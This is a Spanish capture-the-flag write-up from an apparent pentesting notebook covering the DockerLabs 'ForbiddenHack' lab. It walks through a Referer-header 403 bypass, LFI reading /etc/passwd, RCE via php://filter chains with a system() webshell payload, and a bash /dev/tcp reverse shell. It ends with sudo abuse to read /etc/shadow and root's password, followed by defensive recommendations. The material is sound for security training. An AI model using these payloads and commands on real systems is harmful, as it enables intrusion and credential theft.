> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/forbiddenhack.md).

# ForbiddenHack

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux expuesta por HTTP. La cadena empieza con un virtual host que bloquea el acceso directo con un `403 Forbidden`, pero permite continuar al manipular la cabecera `Referer`.

A partir de ahi se descubre una LFI en el parametro `pages`, se transforma en ejecucion remota de comandos mediante `php://filter` y `php_filter_chain_generator`, y finalmente se escala a `root` abusando de un binario permitido por `sudo`: `/usr/bin/furb`.

***

## Reconocimiento

Se comienza con un escaneo de versiones con Nmap:

```bash
nmap -sVC -Pn -n -T4 172.17.0.2
```

<div align="center"><img src="/files/k2WIZ8aOdM9VZNXYVUTW" alt="Escaneo Nmap"></div>

El escaneo muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Al acceder por IP aparece la pagina por defecto de Apache. En el propio texto de la pagina se filtra una ruta interesante:

```
/var/www/bypass403.pw/index.php
```

<div align="center"><img src="/files/SQ1t1QlqkKMqRZHnBzXQ" alt="Apache default page"></div>

Este detalle apunta al virtual host `bypass403.pw`, por lo que se anade al archivo `/etc/hosts` para resolverlo contra la IP de la maquina:

```bash
172.17.0.2 bypass403.pw
```

***

## Enumeracion Web

Primero se lanza Gobuster contra la IP:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

<div align="center"><img src="/files/dY7k6tLMjWZHjpR2sdro" alt="Gobuster contra IP"></div>

Se localizan `index.html` y `server-status`, pero la parte interesante esta en el virtual host. Al visitar `http://bypass403.pw/index.php` directamente aparece un `403 Forbidden`:

<div align="center"><img src="/files/zRWAHfdvhlWeurow5QjJ" alt="403 Forbidden en index.php"></div>

Probando desde Burp se observa que al incluir una cabecera `Referer` apuntando al propio dominio, el servidor devuelve un `200 OK` y muestra la pagina protegida:

```http
Referer: http://bypass403.pw/
```

<div align="center"><img src="/files/cNJxbDfBKXl8AnpQV09a" alt="Bypass 403 con Referer"></div>

Con ese bypass se repite Gobuster contra el virtual host, anadiendo la cabecera necesaria:

```bash
gobuster dir -u http://bypass403.pw \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60 \
  -H "Referer: http://bypass403.pw"
```

<div align="center"><img src="/files/tQTS0qKuokM7sVXh8Kpm" alt="Gobuster contra bypass403.pw"></div>

La ruta principal vuelve a ser `index.php`, asi que el siguiente paso es fuzzear parametros GET.

***

## LFI En Pages

Se usa `ffuf` sobre `index.php?FUZZ`, manteniendo el `Referer` y filtrando respuestas poco utiles:

```bash
ffuf -u http://bypass403.pw/index.php?FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -H "Referer: http://bypass403.pw" \
  -fc 403,404 -fs 1192
```

<div align="center"><img src="/files/9krJaOXqHIlaELqKpsML" alt="Fuzzing de parametros"></div>

El parametro encontrado es `pages`. Al probar lectura de `/etc/passwd`, el servidor devuelve el contenido del archivo:

```bash
curl -i -H "Referer: http://bypass403.pw" \
  "http://bypass403.pw/index.php?pages=/etc/passwd"
```

<div align="center"><img src="/files/zONEINjQ6IMuF0J0eKKI" alt="LFI leyendo etc passwd"></div>

La LFI confirma un usuario local interesante:

```
bambi:x:1001:1001:bambi,,,:/home/bambi:/bin/bash
```

***

## Ejecucion Remota Con Php Filter Chain

Como el parametro vulnerable acaba siendo incluido por PHP, se usa `php_filter_chain_generator` para generar una cadena `php://filter` que escriba un payload PHP en memoria:

```bash
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
```

<div align="center"><img src="/files/40J51xltY7ldmpwHDTgd" alt="Generacion de php filter chain"></div>

Se prueba ejecucion de comandos usando el parametro `cmd`, sustituyendo `CONVERSIONS` por la cadena generada:

```bash
curl -H "Referer: http://bypass403.pw" \
  "http://bypass403.pw/index.php?pages=php://filter/CONVERSIONS/resource=php://temp&cmd=id" \
  --output -
```

<div align="center"><img src="/files/NMtBwjwiJg2sHdv9qqwy" alt="RCE con comando id"></div>

La respuesta confirma ejecucion como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Para obtener una shell interactiva se prepara una reverse shell en Bash y se codifica para incluirla en la URL:

```bash
urlencode 'bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"'
```

<div align="center"><img src="/files/cWO35Ol15kP5kaIyU5Em" alt="Reverse shell codificada"></div>

Se ejecuta el payload a traves de la misma cadena `php://filter`:

<div align="center"><img src="/files/LHSpCP1WdbhSdgonND98" alt="Ejecucion de reverse shell con php filter"></div>

Con Netcat a la escucha se recibe la conexion:

```bash
nc -lvnp 4444
```

<div align="center"><img src="/files/k5GllwGAtO0r56kbPzIY" alt="Reverse shell como www-data"></div>

Ya se tiene acceso inicial como `www-data`.

***

## Enumeracion Local

Desde la shell se revisan posibles vias rapidas de escalada: binarios SUID y capabilities.

```bash
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
```

<div align="center"><img src="/files/X74TSxdNBeNT0tbY063a" alt="SUID y capabilities"></div>

No aparece nada fuera de lo normal. Sin embargo, gracias a la LFI ya se conocia el usuario `bambi`, asi que se revisa su home:

```bash
cd /home/bambi
ls -la
cat user.txt
```

<div align="center"><img src="/files/sKX3lS0Or3tWKll6zfNU" alt="Home de bambi"></div>

Dentro aparece un directorio oculto `.secret`:

```bash
cd .secret
ls -la
cat interestingSecret.txt
```

<div align="center"><img src="/files/c7Z3DycZdWsfkN7i76BD" alt="Secreto de bambi"></div>

El archivo contiene una credencial codificada en Base64:

```
bambi:c3VwZXJzZWNyZXRwYXNzd29yZDEyMw
```

Se decodifica:

```bash
echo "c3VwZXJzZWNyZXRwYXNzd29yZDEyMw" | base64 -d
```

<div align="center"><img src="/files/YUKFJaivbGZvbylrFwhA" alt="Password de bambi decodificada"></div>

La password obtenida es:

```
supersecretpassword123
```

Con ella se cambia al usuario `bambi` y se revisan privilegios de `sudo`:

```bash
su bambi
sudo -l
```

<div align="center"><img src="/files/3yswjGqusUFBL7OPcZBa" alt="sudo -l de bambi"></div>

El usuario puede ejecutar `/usr/bin/furb` como cualquier usuario sin password:

```
(ALL : ALL) NOPASSWD: /usr/bin/furb
```

***

## Abuso De Furb

Se consulta la ayuda del binario:

```bash
sudo /usr/bin/furb --help
sudo /usr/bin/furb --list
```

<div align="center"><img src="/files/kDs6IGmH7BC2hHNXp2di" alt="Ayuda de furb"></div>

Se buscan archivos relacionados con `furb`:

```bash
find / -name '*furb*' 2>/dev/null
```

<div align="center"><img src="/files/e8xjSrT5zLDuUco7Gzug" alt="Busqueda de archivos furb"></div>

Aparece una pista en `/var/backups/furbRead.txt`:

```bash
cat /var/backups/furbRead.txt
```

<div align="center"><img src="/files/DGk438wclVczMpAJjxgx" alt="Pista furbRead"></div>

Tambien se comprueban los permisos del binario:

```bash
ls -la /usr/bin/furb
```

<div align="center"><img src="/files/D6RehmsOz6PapxMmPm0Y" alt="Permisos de furb"></div>

El nombre `furbRead.txt` sugiere que el parametro `-r` permite leer archivos. Al ejecutarlo con `sudo`, el binario lee `/etc/shadow` como `root`:

```bash
sudo /usr/bin/furb -r /etc/shadow
```

<div align="center"><img src="/files/FFCL7OBLu1QsnNEr41qW" alt="Lectura de etc shadow con furb"></div>

La pista mencionaba buscar el mismo nombre en otro sitio, asi que se prueba en `/root`:

```bash
sudo /usr/bin/furb -r /root/furbRead.txt
```

<div align="center"><img src="/files/EVd6DkcaxtGw5cRLZrvN" alt="Password de root en furbRead"></div>

El archivo revela la password de `root`:

```
StrongPasswordRootSuperSecret123
```

***

## Acceso Root

Se usa la password encontrada para cambiar a `root`:

```bash
su root
whoami
```

<div align="center"><img src="/files/jXJBQJXDkxrB0B3anmD4" alt="Shell como root"></div>

Se confirma el compromiso completo de la maquina.

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap para identificar Apache en el puerto 80.
2. Revision de la pagina por defecto y descubrimiento del virtual host `bypass403.pw`.
3. Bypass del `403 Forbidden` anadiendo la cabecera `Referer`.
4. Fuzzing de parametros con `ffuf`.
5. Explotacion de LFI en `pages`.
6. Conversion de la LFI en RCE con `php://filter` y `php_filter_chain_generator`.
7. Reverse shell como `www-data`.
8. Lectura de secretos en `/home/bambi/.secret`.
9. Decodificacion Base64 para obtener la password de `bambi`.
10. Abuso de `sudo /usr/bin/furb`.
11. Lectura de `/root/furbRead.txt`.
12. Acceso final como `root`.

### Recomendaciones

* No usar cabeceras como `Referer` como control de acceso real.
* Validar y normalizar cualquier parametro usado para incluir archivos.
* Deshabilitar wrappers peligrosos o innecesarios cuando una aplicacion use rutas de usuario.
* Revisar reglas `NOPASSWD` en `sudoers`.
* Evitar binarios internos que permitan leer archivos arbitrarios con privilegios elevados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/forbiddenhack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
